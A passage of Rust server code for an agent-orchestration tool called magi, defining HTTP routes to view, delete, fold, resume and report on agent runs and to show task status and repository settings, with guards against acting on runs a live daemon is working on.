4488#[derive(Debug, Default, Serialize)]
4489struct AdviceMd {
4490    synthesis: Vec<md::Node>,
4491    /// One per record; empty for a seat with no proposal.
4492    approaches: Vec<Vec<md::Node>>,
4493}
4494
4495#[derive(Debug, Default, Serialize)]
4496struct RoundMd {
4497    /// One per reviewer record.
4498    reviewers: Vec<ReviewerMd>,
4499    /// One per `reconsideration` entry: the reason.
4500    reconsideration: Vec<Vec<md::Node>>,
4501    fix: Option<FixMd>,
4502}
4503
4504#[derive(Debug, Default, Serialize)]
4505struct ReviewerMd {
4506    summary: Vec<md::Node>,
4507    /// One per finding, in recorded order (not the display order).
4508    findings: Vec<Vec<md::Node>>,
4509}
4510
4511#[derive(Debug, Default, Serialize)]
4512struct FixMd {
4513    notes: Vec<md::Node>,
4514    /// One per rejection: the argument.
4515    rejected: Vec<Vec<md::Node>>,
4516}
4517
4518/// Parse a run's agent-written prose; a pure function of the state.
4519fn run_prose_md(state: &RunState) -> RunProseMd {
4520    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4521    RunProseMd {
4522        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4523            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4524            approaches: a
4525                .records
4526                .iter()
4527                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4528                .collect(),
4529        }),
4530        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4531        reviews_md: state
4532            .reviews
4533            .iter()
4534            .map(|round| RoundMd {
4535                reviewers: round
4536                    .reviews
4537                    .iter()
4538                    .map(|rec| ReviewerMd {
4539                        summary: nodes(&rec.summary),
4540                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4541                    })
4542                    .collect(),
4543                reconsideration: round
4544                    .reconsideration
4545                    .iter()
4546                    .map(|rv| nodes(&rv.reason))
4547                    .collect(),
4548                fix: round.fix.as_ref().map(|fix| FixMd {
4549                    notes: nodes(&fix.notes),
4550                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4551                }),
4552            })
4553            .collect(),
4554    }
4555}
4556
4557impl RunDetailView {
4558    fn of(
4559        state: RunState,
4560        waiting: bool,
4561        live: crate::run::Liveness,
4562        superseded_by: Option<String>,
4563        latest_attempt: Option<LatestAttempt>,
4564        task: Option<TaskRef>,
4565    ) -> Self {
4566        let display_status = run_display_status(&state, waiting, live);
4567        let stop_reason = crate::stop_reason::of(
4568            &state,
4569            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4570        );
4571        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4572        Self {
4573            progress: crate::run_progress::build(&state, live, waiting),
4574            stop_reason,
4575            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4576            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4577            prose_md: run_prose_md(&state),
4578            origin_label: crate::run::origin_label(state.origin.as_ref()),
4579            live,
4580            unmerged_by_design: state.unmerged_by_design(),
4581            waiting,
4582            display_status,
4583            badge_status,
4584            done: state.status.done(),
4585            superseded_by,
4586            latest_attempt,
4587            task,
4588            state,
4589        }
4590    }
4591}
4592
4593/// Core content needs neither the queue nor question/liveness evidence.
4594async fn run_core(
4595    State(ui): State<Arc<Ui>>,
4596    Path(id): Path<String>,
4597) -> ApiResult<Json<RunDetailView>> {
4598    blocking(move || {
4599        let id = resolve_run(&ui.runs, &id)?;
4600        let state = read_run(&ui.runs, &id)?;
4601        Ok(Json(RunDetailView::of(
4602            state,
4603            false,
4604            crate::run::Liveness::Unknown,
4605            None,
4606            None,
4607            None,
4608        )))
4609    })
4610    .await
4611}
4612
4613/// Lightweight observation: never replaces the evidence used by controls.
4614async fn run_progress(
4615    State(ui): State<Arc<Ui>>,
4616    Path(id): Path<String>,
4617) -> ApiResult<Json<serde_json::Value>> {
4618    blocking(move || {
4619        let id = resolve_run(&ui.runs, &id)?;
4620        let state = read_run(&ui.runs, &id)?;
4621        let live = state.liveness(crate::daemon::is_working_on(
4622            &ui.home,
4623            &id,
4624            Timestamp::now(),
4625        ));
4626        let waiting = !ui.questions.open_for(&id).is_empty();
4627        Ok(Json(serde_json::json!({
4628            "id": id, "updated_at": state.updated_at, "live": live,
4629            "observed_at": Timestamp::now(),
4630            "progress": crate::run_progress::build(&state, live, waiting),
4631        })))
4632    })
4633    .await
4634}
4635
4636async fn run_detail(
4637    State(ui): State<Arc<Ui>>,
4638    Path(id): Path<String>,
4639) -> ApiResult<Json<RunDetailView>> {
4640    blocking(move || {
4641        let id = resolve_run(&ui.runs, &id)?;
4642        let state = read_run(&ui.runs, &id)?;
4643        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4644        let live = state.liveness(daemon_claims);
4645        crate::queue::record_ids(ui.questions.root(), "json")?;
4646        let waiting = ui
4647            .questions
4648            .list()
4649            .iter()
4650            .any(|q| q.run == id && q.status.open());
4651        let max_attempts = daemon::Opts::default().max_attempts;
4652
4653        let matching_task = ui.find_task_for_run(&id)?;
4654
4655        let superseded_by = state
4656            .pr_taken_over_by
4657            .clone()
4658            .or_else(|| {
4659                matching_task
4660                    .as_ref()
4661                    .and_then(|t| t.successor_of(&id).cloned())
4662            })
4663            .as_deref()
4664            .map(crate::run::short_of)
4665            .map(str::to_owned);
4666
4667        // Best-effort: an unreadable head (mid-write, or deleted) just means
4668        // this run's own status stands on its own, same as no later attempt
4669        // existing at all.
4670        let latest_attempt = matching_task
4671            .as_ref()
4672            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4673            .and_then(|head_id| {
4674                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4675                    short: head.short().to_owned(),
4676                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4677                    status: head.status,
4678                    done: head.status.done(),
4679                    id: head.id,
4680                })
4681            });
4682
4683        let task = matching_task
4684            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4685
4686        Ok(Json(RunDetailView::of(
4687            state,
4688            waiting,
4689            live,
4690            superseded_by,
4691            latest_attempt,
4692            task,
4693        )))
4694    })
4695    .await
4696}
4697
4698/// `DELETE /api/runs/{id}`.
4699///
4700/// Remove a finished, folded run directory along with its artifacts.
4701/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4702/// deleted. This never touches git worktrees or branches - except for a run
4703/// whose state this build cannot read at all, where there is no candidate
4704/// list to check and the wholesale removal `magi fold` already uses for that
4705/// case is the only meaningful "delete".
4706async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4707    let (id, unreadable) = {
4708        let ui = Arc::clone(&ui);
4709        blocking(move || {
4710            let id = resolve_run(&ui.runs, &id)?;
4711            match read_run(&ui.runs, &id) {
4712                Ok(_) => {
4713                    // The record's locks and the guards are judged on what is
4714                    // read under them (`clean::delete_run`): a fold in progress
4715                    // refuses the deletion rather than racing it.
4716                    crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4717                        |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4718                            Some(refused) => ApiError::conflict(refused.0.clone()),
4719                            None => ApiError::internal(format!("{e:#}")),
4720                        },
4721                    )?;
4722                    Ok((id, false))
4723                }
4724                Err(_) => {
4725                    // Unreadable: there is no candidate list to guard on, so
4726                    // a live daemon's claim is the only thing left to check -
4727                    // the same rule `run_fold` applies for the same reason.
4728                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4729                        return Err(ApiError::conflict(format!(
4730                            "run {id} is being worked on by a live daemon right now"
4731                        )));
4732                    }
4733                    Ok((id, true))
4734                }
4735            }
4736        })
4737        .await?
4738    };
4739    if unreadable {
4740        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4741            .await
4742            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4743    }
4744    let ui = Arc::clone(&ui);
4745    let done = id.clone();
4746    blocking(move || {
4747        // The agent that asked died with the run, so an open question would
4748        // keep asking the operator for a decision nobody can deliver.
4749        ui.questions.abandon_for_run(
4750            &done,
4751            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4752        )?;
4753        Ok(())
4754    })
4755    .await?;
4756    Ok(StatusCode::NO_CONTENT)
4757}
4758
4759/// `POST /api/runs/{id}/fold`.
4760///
4761/// Remove a run's candidate worktrees and branches, keeping its record.
4762///
4763/// This exists because the deck answered "delete this run" with *"Candidates
4764/// must be folded before deleting. Run `magi fold` first."* — a phone being
4765/// told to open a terminal, in the one product whose point is that it does
4766/// not need one. The runs an operator most wants gone are the stalled and
4767/// blocked ones, and those are exactly the runs still holding worktrees:
4768/// three of them here held 53 GB.
4769///
4770/// The winner's tree goes too. A fold is what someone asks for when they are
4771/// finished with a run, and leaving one tree behind would leave the delete
4772/// button disabled for the same reason as before.
4773///
4774/// Refused while a live daemon is working on the run, on the rule that guards
4775/// deletion: folding underneath a running agent would pull the tree it is
4776/// editing out from under it.
4777///
4778/// A run whose state this build cannot read at all falls back to
4779/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4780/// selectively, so the whole record's worktree goes wholesale, exactly what
4781/// `magi fold` does on the command line for the same run.
4782async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4783    let (id, state) = {
4784        let ui = Arc::clone(&ui);
4785        blocking(move || {
4786            let id = resolve_run(&ui.runs, &id)?;
4787            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4788                return Err(ApiError::conflict(format!(
4789                    "run {id} is being worked on by a live daemon right now"
4790                )));
4791            }
4792            crate::clean::ensure_record_identity(&ui.runs, &id)
4793                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4794            let state = match read_run(&ui.runs, &id) {
4795                Ok(state) => {
4796                    state
4797                        .ensure_directory(&id)
4798                        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4799                    Some(state)
4800                }
4801                Err(_) => None,
4802            };
4803            Ok((id, state))
4804        })
4805        .await?
4806    };
4807    let removed = match state {
4808        Some(mut state) => {
4809            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4810                .await
4811                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4812            // Nothing left to remove is not the same thing as nothing left to
4813            // do — see `clean::clear_abandoned_active`'s own doc for the run
4814            // this exists for: worktrees already gone, but a killed process
4815            // left active seats nobody will ever answer for.
4816            if removed.is_empty() {
4817                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4818                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4819            }
4820            removed
4821        }
4822        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4823            .await
4824            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4825    };
4826    Ok(Json(FoldView {
4827        run: id,
4828        removed_count: removed.len(),
4829        removed,
4830    }))
4831}
4832
4833/// What a fold took away, so the deck can say so rather than only re-render.
4834#[derive(Debug, Serialize)]
4835struct FoldView {
4836    run: String,
4837    /// Worktree paths and branch names removed, in the order they went.
4838    removed: Vec<String>,
4839    removed_count: usize,
4840}
4841
4842/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4843/// merged outside of `land::land`'s own loop.
4844#[derive(Debug, Deserialize)]
4845struct FoldMergedBody {
4846    #[serde(default)]
4847    pr_url: String,
4848}
4849
4850/// `POST /api/runs/{id}/fold-merged`.
4851///
4852/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4853/// `Blocked` with `merge: null` because magi never got as far as opening a
4854/// pull request of its own (a title over GitHub's length limit, `gh pr
4855/// create` unreachable, a stale token), which the operator then finished by
4856/// hand on a pull request magi never recorded. The "Run actions" sheet used
4857/// to have no way to tell it about that pull request short of a terminal and
4858/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4859/// this exists and what it deliberately does not do (`bump::after_merge`).
4860///
4861/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4862/// correction rewrites the same `status`/`merge` fields a running graph would
4863/// be writing to on its own.
4864///
4865/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4866/// calls plus a fold, seconds of work, and the phone should get its answer
4867/// (which pull request it recorded, and what changed) in the same round
4868/// trip rather than learning it from the change stream.
4869async fn run_fold_merged(
4870    State(ui): State<Arc<Ui>>,
4871    Path(id): Path<String>,
4872    Json(body): Json<FoldMergedBody>,
4873) -> ApiResult<Json<FoldMergedView>> {
4874    let pr_url = body.pr_url.trim().to_owned();
4875    if pr_url.is_empty() {
4876        return Err(ApiError::bad_request("pr_url is required"));
4877    }
4878    let (id, mut state) = {
4879        let ui = Arc::clone(&ui);
4880        blocking(move || {
4881            let id = resolve_run(&ui.runs, &id)?;
4882            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4883                return Err(ApiError::conflict(format!(
4884                    "run {id} is being worked on by a live daemon right now"
4885                )));
4886            }
4887            let state = read_run(&ui.runs, &id)?;
4888            state
4889                .ensure_directory(&id)
4890                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4891            Ok((id, state))
4892        })
4893        .await?
4894    };
4895    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4896        .await
4897        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4898    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4899        .await
4900        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4901    Ok(Json(FoldMergedView {
4902        run: id,
4903        before: before.as_str().to_owned(),
4904        after: after.as_str().to_owned(),
4905        removed,
4906    }))
4907}
4908
4909/// What [`run_fold_merged`] did, so the deck can say so.
4910#[derive(Debug, Serialize)]
4911struct FoldMergedView {
4912    run: String,
4913    /// `status` before the correction — normally `"blocked"`.
4914    before: String,
4915    /// `status` after — normally `"merged"`.
4916    after: String,
4917    /// Worktree paths and branch names the trailing fold removed.
4918    removed: Vec<String>,
4919}
4920
4921/// `POST /api/runs/{id}/resume`.
4922///
4923/// Carry a stalled run on from where it stopped, in the background.
4924///
4925/// A stalled card says "the work is kept" and used to offer no way to act on
4926/// that: the candidates are built and paid for, and continuing means re-asking
4927/// only the seats whose absence collapsed the panel. The alternative an
4928/// operator actually had was releasing the task, which competes three fresh
4929/// implementations against work that already exists.
4930///
4931/// **202, not 200.** A resume runs agents for minutes; holding the connection
4932/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4933/// phone learns the outcome from the change stream.
4934///
4935/// Refused when the loop is running at all, not merely when it is on this run.
4936/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4937/// started a second graph on top of whatever the loop is already driving —
4938/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4939/// allows — would spend that quota twice over for no extra throughput.
4940async fn run_resume(
4941    State(ui): State<Arc<Ui>>,
4942    Path(id): Path<String>,
4943) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4944    let admission = ui.begin_admission()?;
4945    admitted(admission, async move {
4946        let (id, state) = {
4947            let ui = Arc::clone(&ui);
4948            blocking(move || {
4949                let id = resolve_run(&ui.runs, &id)?;
4950                let state = read_run(&ui.runs, &id)?;
4951                Ok((id, state))
4952            })
4953            .await?
4954        };
4955        crate::resume::validate_unqueued(&ui.home, &id)
4956            .map_err(|e| ApiError::conflict(e.to_string()))?;
4957        let _resume = ui.begin_resume(&id)?;
4958
4959        crate::resume::start(&ui.home, id.clone())
4960            .await
4961            .map_err(ApiError::from)?;
4962        // The same shape the list route returns, so the phone updates the card it
4963        // already has rather than learning a second schema for one button.
4964        let queued = RunSummary::of(
4965            &state,
4966            !ui.questions.open_for(&id).is_empty(),
4967            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4968        );
4969        Ok((StatusCode::ACCEPTED, Json(queued)))
4970    })
4971    .await
4972}
4973
4974async fn run_report(
4975    State(ui): State<Arc<Ui>>,
4976    Path(id): Path<String>,
4977) -> ApiResult<impl IntoResponse> {
4978    let text = blocking(move || {
4979        let id = resolve_run(&ui.runs, &id)?;
4980        // Colour is off for the whole process, set once in `serve`. Rendering
4981        // is CPU work over the full state, which is the other reason this is
4982        // not on the executor.
4983        let state = read_run(&ui.runs, &id)?;
4984        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4985        let live = state.liveness(daemon_claims);
4986        Ok(format!(
4987            "{}{}",
4988            report::run(&state),
4989            report::active_seats(&state, live)
4990        ))
4991    })
4992    .await?;
4993    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4994}
4995
4996/// The structured twin of [`run_report`]: the same state, as sections the UI
4997/// draws as cards. An unreadable run answers with the same error the text
4998/// route does; it is never turned into an empty report.
4999async fn run_report_json(
5000    State(ui): State<Arc<Ui>>,
5001    Path(id): Path<String>,
5002) -> ApiResult<Json<crate::report_view::RunReportView>> {
5003    let view = blocking(move || {
5004        let id = resolve_run(&ui.runs, &id)?;
5005        let state = read_run(&ui.runs, &id)?;
5006        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5007        // Only a record that lacks the structured details reads `artifacts/`.
5008        let recovered = state.graft.as_ref().map(|_| {
5009            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
5010        });
5011        Ok(crate::report_view::build_with(
5012            &state,
5013            state.liveness(daemon_claims),
5014            recovered.as_ref(),
5015        ))
5016    })
5017    .await?;
5018    Ok(Json(view))
5019}
5020
5021/// Archive access uses validated run-owned records, never a request-supplied path.
5022async fn run_seat_evidence(
5023    State(ui): State<Arc<Ui>>,
5024    Path(id): Path<String>,
5025) -> ApiResult<impl IntoResponse> {
5026    let id = resolve_run(&ui.runs, &id)?;
5027    let heads = crate::retention::seat_heads(&ui.home, &id)
5028        .await
5029        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5030    Ok(Json(heads))
5031}
5032
5033async fn run_seat_diff(
5034    State(ui): State<Arc<Ui>>,
5035    Path((id, head)): Path<(String, String)>,
5036) -> ApiResult<impl IntoResponse> {
5037    let id = resolve_run(&ui.runs, &id)?;
5038    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
5039        .await
5040        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5041    Ok((
5042        [
5043            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5044            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5045        ],
5046        patch,
5047    ))
5048}
5049
5050/// Most of a graft diff the route returns.
5051const GRAFT_DIFF_MAX: usize = 400 * 1024;
5052/// How long `git diff` may run.
5053const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
5054
5055/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
5056/// come from the run record, never from the request.
5057async fn run_graft_diff(
5058    State(ui): State<Arc<Ui>>,
5059    Path(id): Path<String>,
5060) -> ApiResult<impl IntoResponse> {
5061    let (repo, pre, post) = blocking(move || {
5062        let id = resolve_run(&ui.runs, &id)?;
5063        let state = read_run(&ui.runs, &id)?;
5064        let g = state
5065            .graft
5066            .as_ref()
5067            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
5068        let post = g
5069            .post
5070            .clone()
5071            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
5072        Ok((state.repo.clone(), g.pre.clone(), post))
5073    })
5074    .await?;
5075    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
5076    if !hex(&pre) || !hex(&post) {
5077        return Err(ApiError::not_found("the recorded commits are not valid"));
5078    }
5079    let out = tokio::time::timeout(
5080        GRAFT_DIFF_TIMEOUT,
5081        crate::git::git_raw(
5082            &repo,
5083            &[
5084                "diff",
5085                "--no-color",
5086                "--no-ext-diff",
5087                "-M",
5088                &pre,
5089                &post,
5090                "--",
5091            ],
5092        ),
5093    )
5094    .await
5095    .map_err(|_| ApiError::not_found("git diff timed out"))?
5096    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
5097    if out.code != Some(0) {
5098        return Err(ApiError::not_found(
5099            "the recorded commits are no longer in the repository",
5100        ));
5101    }
5102    let mut body = out.stdout;
5103    if body.len() > GRAFT_DIFF_MAX {
5104        let mut cut = GRAFT_DIFF_MAX;
5105        while !body.is_char_boundary(cut) {
5106            cut -= 1;
5107        }
5108        body.truncate(cut);
5109        body.push_str("\n... diff truncated ...");
5110    }
5111    Ok((
5112        [
5113            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5114            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5115        ],
5116        body,
5117    ))
5118}
5119
5120/// A task as the UI sees it.
5121///
5122/// The whole task, plus the two things the client would otherwise have to
5123/// reimplement: the human-readable source and the status string. Nothing is
5124/// removed - the phone shows `last_error` and the run history verbatim.
5125#[derive(Debug, Serialize)]
5126struct TaskView {
5127    #[serde(flatten)]
5128    task: Task,
5129    source_label: String,
5130    reassignment_notes: Vec<String>,
5131    source_link: Option<SourceLink>,
5132    status_str: &'static str,
5133    /// Fixed scheduling lane, ahead of ordinary priority order.
5134    upgrade_resume_at: Option<Timestamp>,
5135    /// The instruction, parsed as markdown, for the Queue card's "Full
5136    /// instruction" panel. `task.instruction` is unchanged and still carries
5137    /// the raw text.
5138    instruction_md: Vec<md::Node>,
5139    /// For a blocked task, what it waits on with each dependency's state, e.g.
5140    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5141    /// recurses; empty for every other status.
5142    waits_on: Vec<String>,
5143    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5144    /// behind - non-empty means nothing in the loop will ever run it.
5145    stuck_roots: Vec<String>,
5146    blockers: Vec<crate::blockers::BlockerView>,
5147    recovery: Option<String>,
5148    /// Shared read-only admission status (configured mode, active reservation
5149    /// lane, and concrete non-concurrency or capacity blocker).
5150    #[serde(skip_serializing_if = "Option::is_none")]
5151    admission: Option<daemon::TaskAdmission>,
5152}
5153
5154impl From<Task> for TaskView {
5155    fn from(task: Task) -> Self {
5156        Self {
5157            source_label: task.source.label(),
5158            reassignment_notes: Vec::new(),
5159            source_link: source_link(&task.source),
5160            status_str: task.status.as_str(),
5161            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5162            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5163            waits_on: Vec::new(),
5164            stuck_roots: Vec::new(),
5165            blockers: Vec::new(),
5166            recovery: task_recovery(&task),
5167            admission: None,
5168            task,
5169        }
5170    }
5171}
5172
5173impl TaskView {
5174    fn with_admission(
5175        mut self,
5176        snapshot: &daemon::AdmissionSnapshot,
5177        queue: &Queue,
5178        inv: Option<&crate::blockers::Inventory>,
5179        home: &std::path::Path,
5180    ) -> Self {
5181        self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5182        self
5183    }
5184
5185    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5186        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5187            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5188            if !pending.is_empty() {
5189                self.recovery = Some(format!(
5190                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5191                    self.recovery.as_deref().unwrap_or_default()
5192                ));
5193            }
5194            for decision in pending {
5195                self.blockers.retain(|view| view.id != decision.id);
5196                self.blockers.push(decision);
5197            }
5198        }
5199        self
5200    }
5201
5202    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5203        let waits_on = inv.waits_on(&task);
5204        let stuck_roots = inv
5205            .stuck_roots(&task)
5206            .iter()
5207            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5208            .collect();
5209        Self {
5210            blockers: inv.blocker_views(&task),
5211            waits_on,
5212            stuck_roots,
5213            ..Self::from(task)
5214        }
5215    }
5216}
5217
5218fn task_recovery(task: &Task) -> Option<String> {
5219    use crate::queue::{HoldSource, TaskStatus};
5220    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5221        return None;
5222    }
5223    let mut text = String::new();
5224    if task.status == TaskStatus::Blocked {
5225        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5226        let restored = match task.blocked_from {
5227            Some(TaskStatus::Running) => TaskStatus::Queued,
5228            Some(status) => status,
5229            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5230            None => TaskStatus::Queued,
5231        };
5232        text.push_str(&format!(
5233            "After all dependencies resolve, the scheduler restores {}. ",
5234            restored.as_str()
5235        ));
5236        if restored != TaskStatus::Held {
5237            return Some(text);
5238        }
5239    }
5240    text.push_str(match task.hold_source {
5241        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5242        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5243            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5244        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5245        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5246    });
5247    Some(text)
5248}
5249
5250/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5251/// its absence, leaves the cache to decide.
5252#[derive(Debug, Default, Deserialize)]
5253#[serde(default)]
5254struct ReposQuery {
5255    refresh: u8,
5256}
5257
5258/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5259/// listing `magi repos` prints at a terminal.
5260///
5261/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5262/// so an edit to `magi.toml` takes effect without a restart, the same
5263/// reasoning [`config_for`] documents for the talk routes.
5264async fn repos_list(
5265    State(ui): State<Arc<Ui>>,
5266    Query(q): Query<ReposQuery>,
5267) -> ApiResult<Json<Vec<repos::Repo>>> {
5268    let refresh = q.refresh != 0;
5269    blocking(move || {
5270        let (cfg, _) = Config::discover(&ui.repo, None)?;
5271        Ok(Json(ui.repos_cache.list(
5272            &cfg.repos.roots,
5273            Duration::from_secs(cfg.repos.scan_ttl),
5274            refresh,
5275        )))
5276    })
5277    .await
5278}
5279
5280/// Optional context, restricted to the server's known checkouts.
5281#[derive(Debug, Default, Deserialize)]
5282struct SettingsQuery {
5283    repo: Option<PathBuf>,
5284}
5285
5286/// Always discover against the server's original context, never the selection.
5287/// If that config is broken, retain the default context and machine-only roots
5288/// so the settings error contract and recovery picker remain available.
5289fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5290    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5291        let paths: Vec<PathBuf> = ui
5292            .machine_config
5293            .iter()
5294            .filter(|p| p.is_file())
5295            .cloned()
5296            .collect();
5297        if paths.is_empty() {
5298            Ok(Config::autodetected())
5299        } else {
5300            Config::load_layers(&paths)
5301        }
5302    });
5303    let mut known = cfg
5304        .map(|cfg| {
5305            ui.repos_cache.list(
5306                &cfg.repos.roots,
5307                Duration::from_secs(cfg.repos.scan_ttl),
5308                refresh,
5309            )
5310        })
5311        .unwrap_or_default();
5312    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5313    if !known.iter().any(|r| r.path == path) {
5314        known.push(repos::Repo {
5315            name: path
5316                .file_name()
5317                .unwrap_or_default()
5318                .to_string_lossy()
5319                .into_owned(),
5320            path,
5321        });
5322    }
5323    known
5324}
5325
5326fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5327    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5328    let canonical = requested.canonicalize().ok();
5329    let mut known = settings_repositories(ui, false);
5330    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5331    if !known.iter().any(matches) {
5332        known = settings_repositories(ui, true);
5333    }
5334    let repo = known
5335        .iter()
5336        .find(|r| matches(r))
5337        .map(|r| r.path.clone())
5338        .ok_or_else(|| ApiError {
5339            text_reason: None,
5340            status: StatusCode::UNPROCESSABLE_ENTITY,
5341            message: "Choose a known repository from the Settings selector.".to_owned(),
5342        })?;
5343    Ok((repo, known))
5344}
5345
5346/// `GET /api/settings` - the effective role assignments and roster, with the
5347/// layer each came from. A config that fails to load answers 200 with an
5348/// `error`, so the screen can say so instead of drawing empty lists.
5349async fn settings_get(
5350    State(ui): State<Arc<Ui>>,
5351    Query(q): Query<SettingsQuery>,
5352) -> ApiResult<Json<settings::SettingsView>> {
5353    blocking(move || {
5354        let (repo, known) = settings_context(&ui, q)?;
5355        Ok(Json(settings::view_with_repos(
5356            &repo,
5357            ui.machine_config.as_deref(),
5358            &known,
5359        )))
5360    })
5361    .await
5362}
5363
5364/// The body of `PUT /api/settings/roles`.
5365#[derive(Debug, Deserialize)]
5366#[serde(deny_unknown_fields)]
5367struct RolesBody {
5368    /// The `revision` the client last read.
5369    revision: String,
5370    /// Role key to its new ids; an empty list resets the key to its default.
5371    #[serde(default)]
5372    roles: std::collections::BTreeMap<String, Vec<String>>,
5373    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5374    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5375    /// words (422) instead of as a deserialization error.
5376    #[serde(default)]
5377    counts: std::collections::BTreeMap<String, serde_json::Value>,
5378}
5379
